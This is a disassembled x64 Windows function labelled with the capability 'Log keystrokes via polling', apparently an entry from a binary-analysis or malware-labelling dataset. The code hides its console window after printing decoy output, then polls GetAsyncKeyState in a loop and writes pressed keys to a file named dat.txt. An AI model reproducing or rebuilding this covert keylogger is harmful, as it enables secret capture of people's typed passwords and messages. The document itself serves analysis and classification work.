Function at 0x1400115d2
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x140020880
push rbp
push rdi
sub rsp, 0x528
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xe2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140040018]
xor rax, rbp
mov qword [rbp + 0x4f8], rax
lea rcx, [0x1400530fb]
call fcn.140011898
lea rax, [0x1400425a0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 8]
add rax, 0x1e00
mov qword [rbp + 0x48], rax
jmp 0x1400208ec
mov rax, qword [rbp + 0x28]
add rax, 0x28
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x48]
cmp qword [rbp + 0x28], rax
je 0x140020920
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x68]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400117c6
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400208e0
lea rax, [0x1400443a0]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x88]
add rax, 0x1f40
mov qword [rbp + 0xc8], rax
jmp 0x140020964
mov rax, qword [rbp + 0xa8]
add rax, 0x28
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xc8]
cmp qword [rbp + 0xa8], rax
je 0x1400209a7
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xe8], rax
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400117c6
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140020952
lea rax, [0x1400462e0]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x108]
add rax, 0x1388
mov qword [rbp + 0x148], rax
jmp 0x1400209eb
mov rax, qword [rbp + 0x128]
add rax, 0x28
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x148]
cmp qword [rbp + 0x128], rax
je 0x140020a2e
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x168], rax
mov rdx, qword [rbp + 0x168]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400117c6
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400209d9
lea rax, [0x140040720]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x188]
add rax, 0x1e78
mov qword [rbp + 0x1c8], rax
jmp 0x140020a72
mov rax, qword [rbp + 0x1a8]
add rax, 0x28
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1c8]
cmp qword [rbp + 0x1a8], rax
je 0x140020ab5
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1e8], rax
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400117c6
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140020a60
call fcn.1400117a3
call fcn.140011569
movzx eax, al
test eax, eax
je 0x140020aeb
lea rdx, str.Hello_World
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140020b0e
lea rdx, str.Hello_World
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x204], 0x78
xor eax, eax
cmp eax, 1
je 0x140020c22
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x224], 8
jmp 0x140020b56
mov eax, dword [rbp + 0x224]
inc eax
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0xbe
jg 0x140020c1d
mov ecx, dword [rbp + 0x224]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x140020c18
mov ecx, dword [rbp + 0x224]
call fcn.14001104b
movzx eax, al
test eax, eax
jne 0x140020c18
mov edx, 0x118
lea rcx, [rbp + 0x250]
call fcn.1400117b7
mov edx, 1
lea rcx, [rbp + 0x250]
call fcn.140011875
nop
mov r9d, 0x40
mov r8d, 8
lea rdx, str.dat.txt
lea rcx, [rbp + 0x250]
call fcn.140011965
lea rcx, [rbp + 0x250]
call fcn.1400114fb
movzx eax, al
test eax, eax
je 0x140020c0c
lea rax, [rbp + 0x260]
movzx edx, byte [rbp + 0x224]
mov rcx, rax
call fcn.140011681
lea rcx, [rbp + 0x250]
call fcn.140011154
nop
lea rcx, [rbp + 0x250]
call fcn.140011749
jmp 0x140020b48
jmp 0x140020b26
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140034980]
call fcn.140011721
mov eax, edi
mov rcx, qword [rbp + 0x4f8]
xor rcx, rbp
call fcn.14001140b
lea rsp, [rbp + 0x508]
pop rdi
pop rbp
ret